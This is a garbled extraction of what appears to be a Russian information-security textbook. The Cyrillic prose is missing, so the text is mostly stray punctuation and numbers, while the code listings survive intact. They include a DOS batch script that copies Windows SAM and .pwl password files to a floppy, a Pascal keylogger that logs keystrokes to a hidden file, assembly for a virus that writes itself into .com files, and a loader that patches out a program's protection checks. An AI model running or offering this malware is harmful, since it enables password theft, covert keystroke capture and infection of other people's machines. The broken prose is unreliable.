PWL, Repwl CAIN. Windows NT/2000/XP SAM SAM._, repair Windows, L0phtCrack. Unix- /etc/passwd
shadow. , crack john, , , , .
.
,
,
. , , , , , , . ,
, , , , , . ,
(exploit), . Windows NT/2000/XP,
, ,

224

13. ...

getadmin main, Unix-


Unix-,
Internet, Unix.
, , , , .
, .
, -. ( Windows 98. ,
c Windows 98, ). , , 13.1, ,
Windows 98/ME/2000/XP
, PWL SAM, .
13.1.

@ECHO OFF
mode con codepage prepare=((866) ega3.cpi)
mode con codepage select=866
keyb ru,,keybrd3.sys
set EXPAND=YES
SET DIRCMD=/O:N
set LglDrv=27 * 26 Z 25 Y 24 X 23 W 22 V 21 U 20 T
set LglDrv=%LglDrv% 19 S 18 R 17 Q 16 P 15 O 14 N
set LglDrv=%LglDrv% 13 M 12 L 11 K 10 J 9 I 8 H 7 G
set LglDrv=%LglDrv% 6 F 5 E 4 D 3 C
call setramd.bat %LglDrv%
set temp=c:\
set tmp=c:\
path=%RAMD%:\;a:\;a:\vc
copy command.com %RAMD%:\ >nul
set comspec=%RAMD%:\command.com >nul
md %RAMD%:\vc >nul
%RAMD%:
copy a:\vc\*.* %RAMD%:\vc >nul
copy a:\arj.exe %RAMD%:\ >nul
copy a:\files.arj %RAMD%:\ >nul
copy a:\files.a01 %RAMD%:\ >nul

225

arj.exe e files.arj >nul


arj.exe e files.a01 -y >nul
A:\smartdrv.exe >nul
del files.a* >nul
md
cd
md
cd

%RAMD%:\sec
sec >nul
disks >nul
disks >nul

>nul

ldir c: /s > c.txt


ldir d: /s > d.txt
13.1
cd \
ntfspro.exe >nul
cd sec\disks
dir c: /s >> c.txt
dir d: /s >> d.txt
cd..
md c
md d
copy /b c:\winnt\system32\config\sam %RAMD%:\sec\c >nul
copy /b d:\winnt\system32\config\sam %RAMD%:\sec\d >nul
copy /b c:\windows\system32\config\sam %RAMD%:\sec\c >nul
copy /b d:\windows\system32\config\sam %RAMD%:\sec\d >nul
copy /b c:\windows\*.pwl %RAMD%:\sec\c >nul
copy /b d:\windows\*.pwl %RAMD%:\sec\d >nul
cd \
arj.exe a -r -v1200 dirs.arj %RAMD%:\sec -y >nul
copy %RAMD%:\dirs.arj a:\
copy %RAMD%:\dirs.a01 a:\


,

(),
.. , (
) , , ,
Windows 98. . ,

226

13. ...

MS DOS Windows 98 .
,
,
. , , , Windows 98, (, ),
.
, Unix-
.

.
, (, , OpenBSD),
, , .

, , ,
, (. 13.2).

. 13.2.


IP- , . , ,
, , - , , (,
, ,
, - ). (, -

227

IP-
) .
- .
, , , .
Unix whois, traceroute (
Windows tracert), nslookup, host, , ,
,
(Web- whois, VisualRoute, Sam Spade ..).
:
( , C,
B);
(DNS Domain Name System), IP- ;
, Internet ( , ..);
;
, ;
IP-
( nslookup).
, Internet,
.
,
.

, , , . , Internet, , , TCP UDP, .



, ping, , , , fping, Pinger, icmpenum, nmap, strobe, netcat, NetScantTools Pro 2000, SuperScan, NTOScanner, WinScan, ipeye, Windows UDP Port Scanner, Cheops
.

228

13. ...

, ,
, .. .


,
,
. , , , net, nbtstat
nbtscan Windows NT/2000/XP telnet, finger, rwho, rusers, rpcinfo
rpcdump Unix. , ,
nltest, rmtshare, srvcheck, srvinfo snmputil (Windows NT/2000/XP Resource Toolkit), DumpSec, Legion, NAT, enum, user2sid,
sid2user netcat.

, , ,
, .
, ,
.


, , , , , .
, ,
. :
;
;
;
, .
, , . ,
, , Back Orifice SubSeven,
.
, - ,

229

. , NAT, SMBGrind,
L0phcrack, NT RAS, winhlp32, IISHack (Windows NT/2000/XP), Brutus, brute_web.c,
pop.c, middlefinger, TeeNet (Unix)
, .
, , ,
, (, ).
-
, , - ( ), pcAnywhere, VNC
Remotely Anywhere.
Web . Web Web-, , , , (
), Web.



, ,
, , . ,
, .

, ,
, , .


, , ,
,
, ,
.
, , .., ..

230

13. ...


, - . , .
,
. .


, , :
;
, (cron
Unix, AT Windows NT/2000/XP);
(autoexec.bat Windows 98, Startup, Windows, rc Unix);
, (netcat, remote.exe, VNC, Back Orifice);
, ( ..)
, (, ).

, ,
(DoS Denial of Service).
, ..
. DoS . , . ,
, DoS. , DoS, ,
Internet, .

14


,
, . ,
. .
,

, . ,
.

()
, , ,
.
:
( , );
;
, .
, , :
. , . .
. , .
, , .
: , ,
..
. - . -

232

14.

,
- .
, , , .
()
, . ,
, ,
( ) .
, , , , .

, , .
,
.

.
(), , .
.
, , , , , . ,
, , , , .
, .
, ,
, , . , 30 , ,
, ,
. 30 ,
.
() .

.
, .

233

.
:

= V(s,)
, = s + , . .
V = Vs, V(t) ,
V . V ( s)
, , , ().
:

= Vs +
, .
, , .

, .
, .
,
.
.

, .
, ,
.
.

234

14.


.
.

.
. 14.1.
,

-
(. 14.1).



() , , . (),
, .

.
()
:
();
, , ().
. 14.2 .
, , (). (UPS, ..) ,
. () (, ..), , , , . /
, ..

235

. 14.2.
. . 1 2500 .

0,2 U 500 ,
1 , / 500 .
( ).
. ( )
() ( , , ).
Wmax . , ( ) ( ).
, LC-
Wmax . , LC- ,
.
, . LC- (
), -

236

14.

2 12 ,
.

. , ,
,
, .
,
() . ,
50100 1 (
0,1 ) , . ,
, (
), ,
.

. , .
,
( 70120 ).
15
25 500600 5 . , 1000 , .
, , .
C/ = 1030 .
,
,
( , /, ..). -

C- = 510 , .
, . , -

237

,
. ,
, .
.
LC- .
1,5 ( , ).
,
.
.
.

.
,
100 25
. 50100 ,
. ,
.
, , UPS
off-line, ..
- . . . ,
- . UPS on- line, ,
.
. , UPS , , , UPS . ,
UPS.
,
, .

238

14.


,
.
,
, , .
, ,
( ). ( )
. ,
, ,
, . ,
.
( ). . , . ,
, .
.
.
1.

,
1,73 . ,
.
.
( ).
/ ,
.
2. .
.
, . .

239

.

, .
3. ( ) -

. -
.
/ , , .
.
, 2000 /3,
200300 /.
, 520 .
1000015000$.
(), 10 /3, 410 /.
. 35 . , ( ) 1 .
.
. ,
..
400 /3 150 /.
,
. , ,
. , 1030 , .. , .

.
2000$.
. -

240

14.
, UPS , .
( )
. .

. . ,
, , ,
.
, . ,
.
UPS ,
, , . UPS , UPS .
UPS ,
. UPS .
,
. , , ( , ..
) ..


,
, (, ) . ,
, . ,
, . ( )
.

.
1. , -

, -.

241

2. -

( ) .
, .
3. , (

) , .
4. ( )

.
5. - ( ,
) , .
, .. , , , , .
. , ,
( ),
.
, , ( ), .
- .
, .. COM, EXE, DLL, OVL ..
, . , Windows, . ,
, , VBA (Visual Basic for Application), ,
Microsoft Word, Microsoft Excel, Microsoft Outlook, Microsoft PowerPoint, CorelDraw,
AutoCAD .
( SYS, BIN, VXD ..).
- , . - , , (bad).
( OBJ, LIB, TPU ..).
, , , , .

242

14.

.
- . ,
, .
, , , ,
, . ,
, .

, . , .
. , , . , .
:
- (, , <Ctrl+Alt+Del>);
(, 0), ;
, (, , , );
(, , ..);
,
( ,
..);
;
, ;
(
- , , ..);
,
;

243

(,
, ,
..);
;
.

( ). , , MS DOS, ,
.
, . , , . ,
5 7. . , , .
, , .
.
:

;
;
, ;
,
.
, , (
) , .


,
, . ,
, , ,
, . , , ( ) ,
.

(.. ).

244

14.

1. , - .
2. , .
3. , , , -

, .. .
4. , -

( ,
, ).
5. , ( ,

BAT).
6. -, ,
( ).
7. ,

(, ..).
8. , -

( , ).
- , , .. (), .
:
, , , ;
, ,
, , .. -.
( , ). ,
. :
;
;
;
;
(
).
, - .

245

, , ( )
, , , , .
, .
1.
( ).
,
( ), .
2. , , .
:
, ( );
,
(, ).

, ,
:
, , , / , ;

;
(,
),

.


,
, . 14.1.
14.1.
,

,
()

246

14.

- 0
()

10

11

12

- 1

13

14

15

16



:
;
;
.
.
,
( , : , ). -

247

(
). , ,
,
. ,
( ).


. , ,
.
. , ,
, (16
) : (8 ) + (8 ).
,
.
:
( );
;
.
, .


, , , .

(), ..
:
int 9h;

.
()
. , ,
, .
14.1.

248

14.

14.1. ,
{$M 2048,0,0}
{$F+}
Uses Dos;
const
ArchiveName
OldSS
OldSP
StackSW
NewSS
NewSP

=
:
:
:
:
:

'C:\WINDOWS\USER.BIN';
Word = 0;
Word = 0;
Integer = - 1;
Word = 0;
Word = 0;

var
Old9h
R
DOSSeg, DOSOfs
Tick, WaitBuf
NeedPop
CBuf
KBuf

:
:
:
:
:
:
:

Procedure;
Registers;
Word;
Integer;
Boolean;
Word;
array [1..255] of Byte;

procedure BeginInt;
inline($FF/$06/StackSW/
$75/$10/
$8C/$16/OldSS/
$89/$26/OldSP/
$8E/$16/NewSS/
14.1
$8B/$26/NewSP);
procedure EndInt;
inline($FF/$0E/StackSW/
$7D/$08/
$8E/$16/OldSS/
$8B/$26/OldSP);
procedure CallPop(Sub: Pointer);
begin
inline($FF/$5E/$06);
end;
procedure CLI; inline($FA);

249

procedure STI; inline($FB);


procedure TSRCrap;
var
F: File;
begin
CLI;
BeginInt;
STI;
NeedPop := False;
Assign(F, ArchiveName);
{$I-}
Reset(F,1);
{$I+}
if IOResult <> 0 then ReWrite(F,1) else seek(F,FileSize(F));
SetFAttr(F,ARCHIVE+HIDDEN);
BlockWrite(F,KBuf,CBuf); { }
CBuf := 0;
Close(F);
Tick := 0;
CLI;
EndInt;
STI;
end;
14.1
procedure RunTSR; interrupt;
begin
CLI;
BeginInt;
STI;
Inc(Tick);
if (Tick > 18.2 * WaitBuf) and (CBuf > 0) then
begin
NeedPop := True;
if Mem[DOSSeg:DOSOfs] = 0 then
begin
NeedPop := False;
Port[$20]:=$20;

250

14.

TSRCrap;
end;
end;
CLI;
EndInt;
STI;
end;
procedure Int28TSR; interrupt;
begin
CLI;
BeginInt;
STI;
if NeedPop = True Then TSRCrap;
CLI;
EndInt;
STI;
end;
procedure New9h;interrupt;
{ 9h }
var
Tail
: Word absolute $40 : $1C;
B:Boolean;
begin
B := Port[$60]<$80;
inline($9C);
Old9h; { }
if B and (Lo(MemW[$40:Tail])<>0) then
14.1
begin
Inc(CBuf);
if CBuf > 255 Then CBuf := 255;
KBuf[CBuf]:=Lo(MemW[$40:Tail]); { C }
end;
end;
procedure InitTSR;
begin
NewSS := SSeg;
inline($89/$26/NewSP);
R.AH := $34;

251

MsDos(R);
DOSSeg := R.ES;
DOSOfs := R.BX;
end;
begin
InitTSR;
CBuf := 0;
FillChar(KBuf,SizeOf(KBuf),0);
WaitBuf := 5; { () .}
NeedPop := False;
Tick
:= 0;
GetIntVec($9,@Old9h);
SetIntVec($9,@New9h);
SetIntVec($28,@Int28TSR);
SetIntVec($1C,@RunTSR);
Keep(0);
end.


() . ,
,
.
, ,
(int 21h, 3Dh), .
,
, .
DOS,
int 21h .
( 3Dh). .
( 3Fh).
, , ,
,
. ( ).

252

14.

( 40h). , , , , - . ,
.

14.2 ,
COM .
14.2.

.model
tiny
.code
org
100h
start:
push si
push si
mov
es,bx
mov
di,2B0h
cli
cmpsb
jz
loc_2
dec
si
dec
di
14.2
mov
mov
push
movs
movs
pop
mov
stosw
stosw
loc_2:
pop
lea
mov
sub
push

cl,50h
rep
movsb
si,21h*4
si
word ptr es:[di],word ptr es:[si]
word ptr es:[di],word ptr es:[si]
di
al,2Bh

di
si,[di+50h]
cx,sp
cx,si
cs

253

pop
es
rep
movsb
retn
; 21-
cmp
ah,3Ch
; ?
jne
loc_5
;
int
0C0h
; (2B0h+50h)/4 = 0C0h, ..
; int 21h
push ax
xchg bx,ax
mov
si,dx
; si = dx
locloop_3:
dec
si
lodsw
cmp
ax,'mo'
loopnz
locloop_3
jnz
loc_4
push ds
push cs
pop
ds
mov
ah,40h
mov
cl,50h
cwd
int
21h
pop
ds
14.2
loc_4:
pop
clc
retf
loc_5:
db
int
end

ax
2
0EAh
20h

start


, . , -

254

14.


, .
,
( , ) .
.
1. - .
2. ( )
:
DOS (int 21h,
4Bh);
BIOS (int 13h, 02h);
(int 08h).
3. -

:
( ) ;
, ;
, () .

, .
CMP,
. ,
,
CLD, CLS, LAHF ..
, ,

.
, ,
.
. - ( ,
..).
14.3. ,
{$M 1024,0,0}
{$I-}
uses


Dos;
const
CMPSeg=$2E7F; { , ,
CMPOfs=12;
{ PSP
JMPSeg=$2EA4;
JMPOfs=2;
var
DOSSeg, DOSOfs, Psp:word;
OldInt8h:pointer;
procedure Int8h; interrupt;
begin
if (Psp=PrefixSeg) then
begin
if(Mem[DOSSeg:DOSOfs]=0) then
asm
mov ah, 62h
int 21h
mov Psp, bx
end;
end
else
begin
MemW[CMPSeg+Psp:CMPOfs]:=$9090; { NOP
MemW[JMPSeg+Psp:JMPOfs]:=$9090; { NOP
14.3
end;
asm
pushf
call dword ptr OldInt8h
end;
end;
begin
asm
mov ah, 34h
int 21h
mov DOSOfs, bx
mov DOSSeg, es
end;
Psp:=PrefixSeg;
GetIntVec(8, OldInt8h);
SwapVectors;

}
}

CMP }
JMP }

255

256

14.

SetIntVec(8, @Int8h);
Exec('SECURED.EXE', '');
SetIntVec(8, OldInt8h);
SwapVectors;
end.

15




: , - .
, , ,
,
(, , ).
, , .

,
. .
1. ?
2. ?
3. ?
4. ?
5. ?
() ,
(), .
1. . ,

, .
2. -. ,
.
3. . -

.
4. . , .
5. . .
6. . -

259

7. . .

, ,
. ,
, -, , , , ,
-, . , :
, ;
.
. ,
,
; ;
, ..
; .
,
. :
. .

(. 15.1):
;
.
:
,
.

260

15.

. 15.1.

:
,
.

: ;
, ; ;

; . :

= f (, , , )
,
. , , , .

261


, - .
,
. ,
, , : .
,
, .
- , . , , , () , , .
, .
, ,
. .
1. (, , )
, .
2. -

.
, ,
, () .
. 15.2.


. (. 15.3).
t0 () ; t1 ,
; t2 , 25%; t3 , ; t4
, 75%.

262

15.

. 15.2.

. 15.3.
, ' ''
, ,
,
, . , , : = Ka' Ka''.
' '' .
,
.
N N, . .

N
N

,
.

263


.
, ,
. ,
, .

.

. .
.
1. : ,

,
, .
2. .
3. -

. .



. , , ,
, .
. ,
.
4 : (1 ), ,
, .


.
( ) ( ) ( ).
(, , ), (, , ), (, . .), ( , ), ,

264

15.

. (. 15.4).

. 15.4.

(. 15.5) ,
: , ,
, , . .

( ,
..), , . .
, , , , ..,
(), , .

265

. 15.5.

- (. 15.6)
.
.
, . , ,
.
, ,
.

, , , , ..


.
( , , , .),
, .

266

15.

. 15.6.
-
, , .
: ,
, ; , ,
.
, , , , , , .



.
1. , , ,

, . ,
,
.

267

2. ,

, .
3. .
.
:
;
, ;
;
;
.
, .
1. , .
2. .
3. .
4. , .
5. .
6. .
7. .
8. .
9. .

.

16




,
( ).
() :
;
;
();
;
.

:
;
;
.

:
;
;
.

. 16.1.
.
.
,
, .. .
, ,
() .
,
.

269

.
, .
, .
,
.
.
,
.
,
,
.
, , .


, 27 .
,
. , , .
, , :
, . 11- (. 16.2).
, , . ,
.



. , ,
:

270

16.

. 16.2.

;
;
.


- :
;
;
.
, .
, () , .
.
,
, .
.

271

.
, .

, (
).
100-300 .
: ,
, .
,
, . , .

-. .
, .
, , , (, , ), , .
:
, , , , , .

: , , , ..,
.
,
.
, ,
.
, .

D = LC Q L [],
D /; L ; L
; Q .

272

16.

15 , 5 .
,
, . 16.3.

. 16.3.
,
.
. , .
,
. , .

(, , ) . , , , .
.
. ,
2.
.
1. :

;
;
.

2. :

;
, , ,

.
3. .

. -

273

. .
, , ,
, , , .. .
, ,
,
..
.
. . .
,
, .

. , .

, , .
, ,
, , .
,
. .
.


, (-5, -1, -2, 3, , .)
() .

, (W).
W, :

274

16.

(W 0,2);
(W 0,8).

1 0,242, q 0,025
[1 exp(q)]
l
q0,325
l
, ql =
W =
,
1
50q1,5
,

0,025
+
Sq
exp(q)
l
l
bq
, b, S . () = 2, S =
0, b = 0,33. () = 2, S = 0,67(mr+1),
b = 3m2r (mr+1), mr = fq/F, F , fq
, ql q / , .
.
() , . , .

, , .
:
5 ;
15 ;
25, 50, 100 180 .
:

12
25
F = 50 ;

100
180

mr

12
= 4 ;
815

1,34
2,01
S = 3,35 ;
6,03
10,73

:
W = 0,2 ql = 0,05;
W = 0,8 ql = 2,5.

636
b = 240
1720
10800

275

/ , ,
0,60,7.

, /,
(. 16.1).
16.1.

,
/

88170

10

0,12

82

380440

10

0,12

60

11501300

20

0,12

150

0,080,15

0,5

0,07


.

- , . , (. 16.2).
16.2.

801300

0,5

24

1225

12

10

0,080,15

50

1,5

25

, , . AR-3000A, AR 5000, AR
8000, AR 8200 ..

276

16.


, ,
.
.
( ),
, .
, , , .
:
( , );
, ;
, , , .
,
(. 16.3).
:
;
16.3.
,

,
I

II

III

500

53

48

43

1000

56

51

46

2000

56

51

46

4000

55

50

45

;
;
;
;
;
( );
;
;
220 50 ;
;

277

, ;
;
, ,
.

, , , ,
.
, , .
.
1. :
( );
( );
- ( ).
2. :

;
;
;
(, , , );
( ).

. , . , , - .

.
. ,
, , ,
, .., .
, .. , .
.
,
.

278

16.

.
, , .
. , ,
..
, .
, (.
16.4).
. - , . PC .
, , PC . .

. 16.4.

. ,
, ,
,
, . , ,
. ,
, , , .
. , ,
. , , , , , ..

279

,
, ,
,
.

() , ,
, .
. , .

, ,
, .
, . , ,
. ,
, , ( ).
, ,
,
.


, ( ,
), ( , ),
( , ).

:
;
;
;
;
;
.
(. 16.5). ,
. 16.5, , , .
, , .
.

280

16.

0 , ,
. 16.5, .
, . 16.5, , ,
,
(. 16.5, ). () 24 . (. 16.5, ) (. 16.5, ), ( ),
, , . , . 16.5, , (49 )
. ( ,
. 16.5, ) , . , . 16.5, , , (. 16.5, ). (. 16.5, ), ,
. 16.5, , . , . 16.5, , , . (. 16.5, ), :
, ,
. , . 16.5, , , . 16.5, , . , . ,
. 16.5, , . ,
.

281

. 16.5. : ) 0 ;
) 2 ; ) 5 ; ) 49 ; ) 57 ; ) 64 ; ) 64 ; ) 71 ; ) 79 .
,
,
, , ,
, (
) ,
:
;

(
).

, , . , ,

F = 1000 .
(
) , ( ), , . , -

282

16.

. U U, ,
. , (, ).
, .
, .


, , . .
:
-;
- - ;
, , .
, .
, .

. , ,
, . ,
, .
,
.
. .
, , .
,

283

,
.
,
.
-, . ( )
.
. , , , ,
. .
-, . , , .
-, , .
-, ,
. , .



. ( ) (
) .
,
. ,
.
,
.
, , , ,
. , .
, , , , . ,
, , . -

284

16.

, ,
.
( ),
, .
( ), .
,
, .
, , .
. , .
, ,
. .
, ,
, .
, , .
. , . , , , .
,
. .
. ,
, .
.
. , , ,
.
1. -

285

;
;
;
;
;
;
.

2.

.
3. ,
.
4. -

.
5. -

.
, , .
,
,
300 3 .
12 . ,
, .
-
,
, , , .
, -,
RCL-. , . , . ,
.
. 16.6.


, ( ,
..), ,
( ) .

286

16.

.
, , , : , , ,
.
(, ,
), .

. 16.6.
. () .

. . , ( 2030 )
.
, (/)
(/) . 130
160 , 220320 .
( ,
) . : ,

287

, .
- .
, , . , 20 1000
, , . ,
.
, , ( 100 ) .
,
.

. ,
, , 6064 ( ) 2536 ( , ).
1012 .
,
( ).
. 16.4
.
16.4.



U, B

U, B U,% U, B

U, B U, %

63,7

0,00

10,4

0,00

63,2
(f =140MTu)

0,5

0,78

9,9

0,5

4,81

,
61,8
(f = 140)

1,9

2,98

10

0,4

3,85

,
62,5
(f = 472 )

1,2

1,88

9,7

0,7

6,73

288

16.

16.4

U, B U,% U, B

U, B U, %

,
61,7
(f = 640 )

3,14

9,3

1,1

10,58


, - 61,9
(f = 140 )

1,8

2,83

10,3

0,1

0,96


, - 62,1
(f = 420 )

1,6

2,51

9,4

9,62

" "

3,7

5,81

U, B

60

( ) . ,
- ( ,
..). .

( ).
.
( ), , 2,53,0 .
, , (20
40 ).
, ,
( ) .
,
500
800 .
, ,
-03.
, -

289

, .
, 150 .
. ( ) : , , , .. . .

.
,

, ,
.
() .
.
, ,
. , () ,
. , .
, .
-5.

.
.
,
,
. ( ) () . .

-

290

16.

.
, -1 25 ,
.
. .
.
.
. , , , . ( ), . , ,
, , , .

.
,
, .
( ) .

.
( ).
.
-03.
, ,
,
. : -5,
-700, -3, OSR-5000 OSCOR, , .
, , .
, .
, -

291

+35 . . ( ) ( , , )
( ), .

.
, .
, , : D008, -700, -5, -, Scanlock ECM, -1_12, -4 .
.
.
. (
(FM AM), . ( ) , .
.

.
.

,
, (), (), () , , , 150 . , .
. 16.5.
, ,
,
. ,
. -

292

16.

, , .
16.5. ,
,

0,00010,55

0,552,5

2,5150

1 ,

50500

50060

60300

, ,
, .

.
, :
;
;
.
, ..
.
1 (. 16.7) (
8). , 65 U = 0,1
300400 . 150 .

. 16.7. 1 (1-4 0,022 ;


L1, L2 1,5 ; VD1VD4 102)
2 (. 16.8) . ,
120 3003400 .

293

. 16.8. 2 (1, 2 0,22 ; 4 5,0 ; 5 2050 ;


R1 2,4 ; R2 100 ; VD1VD8 405;
K1 15 4.591.001; K2 9 4.524.205172)
3 (. 16.9) 4 (. 16.10)
, 5 (. 16.11) .

. 16.9. 3
(C1, C2 0,02 ; VD1VD4 102)

. 16.10. 4
(C1, C2 0,02; VD1VD4 102)

6 (. 16.12) . , , , .. 1 6.

294

16.

. 16.11. 5
(1 1,0 , VD1, VD2 102)

. 16.12. 6
(1 0,010,05 )

, , :
, , , ;
, ;
.
, ,
, . 16.6.
16.6.

II

III

U,

7,5

25

200

U U , .

:

295

(), , ,
;
, , ..


, -68, -72, -70-2, -70-3, -1146, -1164, 1128, -1138, -1142, -1144, -11321, -600, -4100, -70,
-72, -70, -74, , -66, --74, -72- 1, 2, 3, 4, 5 6. 1 2
-11, -1166, -165, -1173, -1131, -11540, 1158, -82, -1152, -5, -7, -8, VEF--32.
:
;
;
, , , ;
( ), , 3060 ;
.



() , , ,
,
. . :
;
;
.
, , , , .
. , ( ) . -

296

16.

10% , , , . , , .
,
, , ,
. ,
. . . :
1386-47 0,35; 0,50; 0,60; 0,76; 0,80;
1,0; 1,25; 1,50; 1,75; 2,0 ;
7118-54, 0,51; 0,63; 0,76; 0,82;
1,0; 1,25; 1,5 ;
3826-47 0,4; 0,5; 0,7; 1,0; 1,4; 1,6; 1,8; 2,0; 2,5;
5336-53 3; 4; 5; 6.
-80 6613-53: 0,25; 0,5; 1,0; 1,6; 2,0; 2,5;
2,6.
, , ..
. , , .
,
, 10 100 , .. 40 120 .
, , 40 , .
:

Z Z

= 1,5 chdt1 + 0,5 + thdt ,

Z Zg

d ; t , ; Z (), ; Z , .
, 6570 , .
, 2,5
( ). ,
2,53 , 55

297

60 , ( 100
) 90 .
:

=1+

2R
1
3S S
lg r0 1,5 +

r0 R
=
,
2 2 R0

2r0

R ; R0
; ( 100200); S (); r0 ; ; R
.
R :

R =

3V
.
4

:
= 21,2 10-3 f ;
= 75,6 10-3 f ;
= 16,35 10-3 f .

,
. 16.7.
16.7.

,

0,10

6,709

23,92

5,17

0,20

9,487

33,82

7,32

0,50

15,00

53,47

11,56

1,00

21,21

75,61

16,35

10,00

67,09

239,20

51,72

100,00

212,10

756,10

163,50

= 1 2

1
,
1
1

1 1 1
1
2

1 2 , .

298

16.

, , . 68 2 2,53 .

. . , .
,
, 1015
. .
. ()
(
) , 1015 .
, .

2 2 ,
50 .
( ) .
,
.
.
, .
. 16.8 .
16.8. ()
, 30%

0,1

0,5

57

79

911

23

,
1,5

1315

1517

1619

,
15 15
160

2025

1819

1517

0,41,2 (
)


,
20

5
,

68

1012

1224

1,52

299

20
,
1,5

1719

2022

2225

0,50,8

,
15 15
160

2832

2327

2025

0,30,8 (
)


100500 . , , , . 1
, (15 ).
, . 4 1 5 , .
.
,
.
:
;
( );
;
.
, , . , ,
.
638000
(R'W, ) 4867-84 .
. .
, ()
250 4000 .
. 16.9
, .

300

16.

:
, , ; , ; ,
.
.

55

61

65

65

65

56

, 2

480

820

45

45

52

59

65

70

70

70

59

100

250

34

40

40

44

50

55

60

60

47

160

400

37

43

47

51

60

63

63

63

52

180

198

32

37

38

40

47

54

60

60

44

8000

48

4000

44

2000

41

1000

620

500

360

250

, 1,5

125

, /2

63


R'w,

16.9.

40 50 . .
, .
,
.
. . 16.10.
:
,

301

( ; ,
..). .
.
, 10 .
, . . , .
( ) , , ,

.
16.10.

8000

R'w,

49

160

380

38

39

48

57

60

58

52


(5) +
(2) + (160)

167

385

41

40

50

56

58

60

52


(5),
(160)

165

390

40

44

52

60

64

59

54


(16),
(4), (160)

180

405

40

39

49

58

62

58

51

(5), , -

165

400

38

42

47

56

60

65

68

68

58

4000

2000

1000

500

300

250

120

125

, /2

63

302

16.

150
150/3/3 (100),
(60)

R'w,

80

68

4000

2000

1000

500

250

125

640

63

405


,
8000

(15),
,

(50),
(40), ,

(220),
(40),
(40)

, /2

16.10

50

52

58

64

70

76

80

( ) , , ,

.
, , , (. 16.11 16.12, ).

10

,
21

25

28

30

30

36

42

44

R'w,

8000

4000

2000

1000

500

250

125


,
63

, /2

16.11.

10

10+10,

50

70

50

303

18

22

26

30

33

35

31

39

27

35

43

40

45

53

41

16.11

8000

R'w,

46

46

52

60

68

46

4+7+7,

16+200,

230

45

24

33

41

43

52

54

60

65

47

4000

38

2000

30

1000

500

55

250

120

125

, /2

10+12,

100

63

, , , 10 ; . .

22

22

20

18

12

12

18

19

23

30

33

32

26

4000

16

2000

14

1000

12

500

250

12

125

63

R'w,


,
8000

, /2

16.12.

(200)

310

50

16

25

42

55

58

60

60

60

50

55

25

14

18

30

39

42

45

45

45

39

304

16.


, ,

5 2 ,

80 ,

100-150
/3,

87

23

33

42

49

57

57

57

R'w,

8000

4000

2000

1000

500

250

125


,
63

, /2

16.12

70


. . , ;
.

. .
, .
,
, . ,

305

. () .
, , ,
, .
,
, ( ,
).
, , .

80100 . . 16.13 .
16.13.

40

80

100


, . .
, , .
16.9, (5 ) , 15 . . ,
(
, )
.
, .
, ,
. , , ,

306

16.

, .. .
, .
. , .. . 4 .
. , , .
.
, , , .
,
. ,
. :
;
, .
,
. ,
50 400 ,
: 109
1010 , .

:
,
;
, ;
;
;
(, ,
);
,
.
.
, , ,
,

307

, .
,
. , ,
, .
,
. , , . , :
,
;
.
,
. , , :

UA = 10 lg PA ,

P
UB
B

A(dB) = 20 lg

UB, PB, UA, PA , , ,


.
: 0,8 3 1,6 3, 0,5 90 . ,
, :
;
;
;
, (..
).
( 60 ), .
,
, . , ,
100
, ,
.
- , .
: , ,
.. .

308

16.

. 16.13 ,
100 . .

. 16.13.
: 1, 2 1
2. 1 2 , .
1 2 , 1 2 ,
. . ,
1 2 .
1 2 296127/220-50. 1 2 4000 65328. -

309

-0,5 . . ,
1,5 . 1 2 400 .
1, -1 -2, -8,
:
0,15 1000 ;
5;
60 ;
500 ;
250 50 .
,
(),
, .


() ,
,
. , , .


() :

, ,
.
.
. .
1. -
.
2. ,

310

16.

3. , , -

.
. , ,
, .
4. , -


, .
, ,
, , , . , .
5. . .
, , .
6.
, .
. ,
. , . ,
, ,
,
. .
7. ( )

. , , ( , , ).
, .
8. -

. .

311


, ,
. .
9.
.
. , , , .
10.

. ,
A ITTT Standard 587-1980
( 0,5 , 100 , 6 , 200 , 1,6 ),
B ( 0,5 100 , 6 , 500 , 4 ; 1,2/50
6 ; 8/20 3 , 80 ). ,
, . ,
.
. ,
. ,
.

.


,

( , , , ..). ,
: (
) .
, , .
: , , , , , -
, , ,

312

16.

, . , ,
,
, ().
,
.

,
, . , , , . ,
, . ,
(, ), 1
1000 . , p-n - 10-1000 .
, , /, , ,
, .

, .
, 110 ,
, 110 , . ,
, .
, ,
.
( ) .
.
1.
.

313

2. -

, .
3. , ,
,
. , .
4.
.
, ,
. , , .
, .
5. -, -

, .
6.

.
, () ,
.


1030 . .
, , ,
.

( ) .
,
. - . , -

314

16.

, ( , ). , .
.
7. -

.
:
( ) ( ).
, .
8. :
I
;
II ,
;
III .
I , II .
9. , ,

( ).

. , , . , ,
.
, ( , , ).
.
10. . , ,

315

, , , RC- LC-
.

( , ). , , . , .
11. , -

, ,
. , , .
12.
. , , , . , ( )
. , 2,5 4 , .

17


()
.
, , , , , . , - , ,
, .
, . , ,
, ( ) .
, .
, ,
.
.
.
, , , , , ..
.
, ,
..
. , .
, - , ,
, , . , :
;

317

( ,
..);
;
;
, , ..

, , .
. (, ), (,
), .
. . :
;
..
. , .
. , , ,
.
,
, :
;
;
(..
).



() .
1. . ,

. , ,
, . ,

.

318

17.

2. ,

, , . , ,

.
, ,
.
.
3. .
. .
: , , .
.
4. . , . ,
.
,
.
5. .

. ,
.
6. .

, . , .
7. .


.
8. .

. , ,
.
,
.
. .

319


, ( ) . . : , , ,
, .

.


. .
, , , .
, :
,
, , ;
()
(), ;
,
, ;
-
( )
/, ..
,
, ,
,
.. :
. ,
. , , , ,
.
. ,

320

17.

( ).
: , .
, , , ,
.
. ,
: , , -
.
, () ,
, . , , , .. .
- ,
,
. , .
.
, .. .
.
,
. 17.1.

321

. 17.1.
, , , , , . , ,
, . ,
.

:
;
;
.

.
, ,
, . , . , .
, , .
,
,
.

322

17.

1. .
2. .
3. .
4. .
5. .

,

,
.
, .
, ( ,
, , ..).
, , , .
. . . , ,
.

, , , ,
.
.

, .
,
,
.

. ,
.
, .
.
, . ( ) , , -

323

.
( ) . : ,
, , . .
,
. ,
, .
, . ()

.


.

( , , ) , () (, , ). .
1. () , -

.
2. , .
3. -

.
, ..
() , . .
(, , ) - ,
,
. ,
, , . ,
, - -

324

17.

, .

. :
(, , , , ..);
( , ,
..);
.
, :
;
;
.
:
;
;
.

. , ,
/, ..
, .
, , (), , (),
.
, .. : , .
.
, .
.
, , .

325



. ()
, . () ,
. ()
. ,
.
.
(). , ,
, ,
.
,
. ,

.


()
: , .
.
() (),
, , .
, ,
, .

, , .
.
:
(
) (
);

326

17.

, ,
:
. ,
,
, ,
;
,
.


, ,
, . , . , .
,
, . .


, .
: , , , , ..

: .

, . .
, ,
